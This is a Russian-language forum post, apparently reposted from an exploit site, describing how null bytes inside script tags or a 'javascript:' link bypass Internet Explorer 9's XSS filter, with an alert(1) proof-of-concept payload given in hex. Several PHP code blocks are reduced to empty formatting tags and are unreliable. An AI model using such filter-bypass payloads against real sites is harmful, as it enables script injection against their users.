В Internet Explorer 9, ввели защиту от XSS, при написании в GET параметре скрипта, например alert(), у нас выведется окно "счастья":
Давайте проведем пару тестов, допустим у нас есть php скрипт с содержимым:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
Сохраним его под имен
xss_ie.php, и пробуем:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]test[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ru[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]xss_ie[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"][/COLOR][/COLOR]
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]test[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ru[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]xss_ie[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])[/COLOR][/COLOR]
Ни при первом, ни при втором варианте окно выведено не будет, благодаря все тому же фильтру.
PoC:
Что казалось можно взять с фильтрации, но если вы вспомните, что IE позволяет зачищать теги вставив 0-байт, то все у вас получится. Например, этот код будет выполнен:
Код:
3C 73 00 63 72 69 70 74 3E 61 6C 65 72 74 28 31 29 3C 2F 73 00 63 72 69 70 74 3E
Этот же код, в человеко понятном виде: "alert(1)"
И вот, что мы получаем. Создаем скрипт с содержимым:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]alert(1)'[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]Clickme[/COLOR][COLOR="#007700"][/COLOR][/COLOR]
Где
xss_ie.php скрипт, который мы создали в начале.
После всего получаем:
P.S. с "ja[NULL]vascript:" этот вариант тоже канает.
Источник: 1337day.com
Author: Jean Pascal Pereira
Date: 2012-05-15